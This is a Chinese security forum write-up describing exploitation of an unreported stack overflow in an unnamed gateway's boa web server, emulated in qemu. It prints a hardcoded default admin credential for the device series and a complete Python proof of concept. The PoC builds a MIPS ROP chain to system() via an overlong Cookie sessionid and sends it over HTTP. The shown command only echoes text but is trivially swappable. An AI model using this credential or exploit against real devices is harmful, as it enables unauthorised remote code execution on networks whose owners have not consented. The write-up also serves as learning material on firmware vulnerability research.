记一次网关设备的pwn
本文为看雪论坛精华文章
前 • 言
在这次出差时,对甲方办公网备进行了渗透测试。
期间搞断网了好几次,最后在领导的要求下就没在用真实设备来做测试了。
所以此次pwn测试使用了qemu进行模拟.
由于真实设备没路子搞到,也不知道设备所属厂商是谁,所以也没进行上报,算是一个0day吧。
一 • 获取设备shell
先来看看web登录界面如下:
在之前购买相同登录界面的设备固件中发现内置了一个帐号
telecomadmin/nE7jA%5m。
登录成功:
如此看来该系列都会内置如此的帐号。
随后查看了一圈功能发现了拥有telnet服务,但是没有开启,也有别的rce漏洞可以用,这里直接强行开启telnet服务。
通过修改前端的html标签的属性成功开启了telnet服务:
登录telnet后并打包系统:
系统文件
二 • 模拟环境
通过端口查看到web服务对应的进程是/bin/boa的文件,架构是mips大端。
直接使用qemu来模拟执行,需要修改boa里一点点代码逻辑即可成功运行,不做多描述。
cmd输入命令:
chroot ./ ./qemu-mips-static -strace ./bin/boa1
三 • 漏洞挖掘
IDA查看部分函数:
通过qemu添加-g来可以通过ida来调试
sscanf执行前
可以看到,a2由s0来指定,s0的值是0x407FFD28:
0x407FFD54是返回地址
sscanf执行后,可以看出,这一整块栈数据都被'a'填充了,包括返回地址:
四 • 漏洞利用
通过ida的插件mipsrop在libmib.so寻找到大量的rop,最终选定可用的两个:
通过该rop调用system,由上面代码可以看出:
计算出payload的大小为:0x23C-0x20=0x21C
sp+0x20为payload,sp+0x23C为system函数地址。
构造的PoC如下:
from socket import *
HOST='192.168.92.129'
PORT=80
BUFSIZE=1024
ADDR=(HOST, PORT)
tcpCliSock=socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
rop_ImageBase=0x3FECB000
rop_offset_1=0x000ACCE0
rop_offset_2=0x0001DAB8
rop_Addr_1=rop_ImageBase+rop_offset_1
rop_Addr_2=rop_ImageBase+rop_offset_2
libc_ImageBase=0x3fa8e000
_system=0x0005EDD0
Function=_system+libc_ImageBase
print(hex(Function))
MaxShellBufSize=0x21C
Shell=b"echo PwnByWowfk"
Shell+=b"&echo "
FkData=b"aaaa"*11 #填充栈到返回地址
FkData+=rop_Addr_1.to_bytes(4,"big") #ra 跳转到rop_1设置a0参数
FkData+=b"aaaa"*8
FkData+=Shell+b'a'*(MaxShellBufSize-len(Shell))
FkData+=Function.to_bytes(4,"big") #s0 用于调用api
FkData+=b'None' #s1
FkData+=rop_Addr_2.to_bytes(4,"big") #ra 由rop_1调用跳转到rop_2
FkData+=b'\0'
print(len(FkData))
data=b"""GET /wowfk HTTP/1.1
Cookie: sessionid=%s
"""%FkData
print(data)
tcpCliSock.send(data)
while True:
data=tcpCliSock.recv(BUFSIZE)
if not data:
break
print (data.decode("gbk","ignore"))
tcpCliSock.close()
最后执行效果如下:
五 • 结语
qemu的模拟对imagebase查看的话,用IDA附加后在main下断点,然后在qemu加-strace可以在输入信息可以看到。
第一次搞mips的pwn磕磕碰碰了许久才折腾成功,学到了很多东西。由此发文记录一下~
看雪ID:零加一
https://bbs.pediy.com/user-home-749276.htm
*本文由看雪论坛 零加一 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!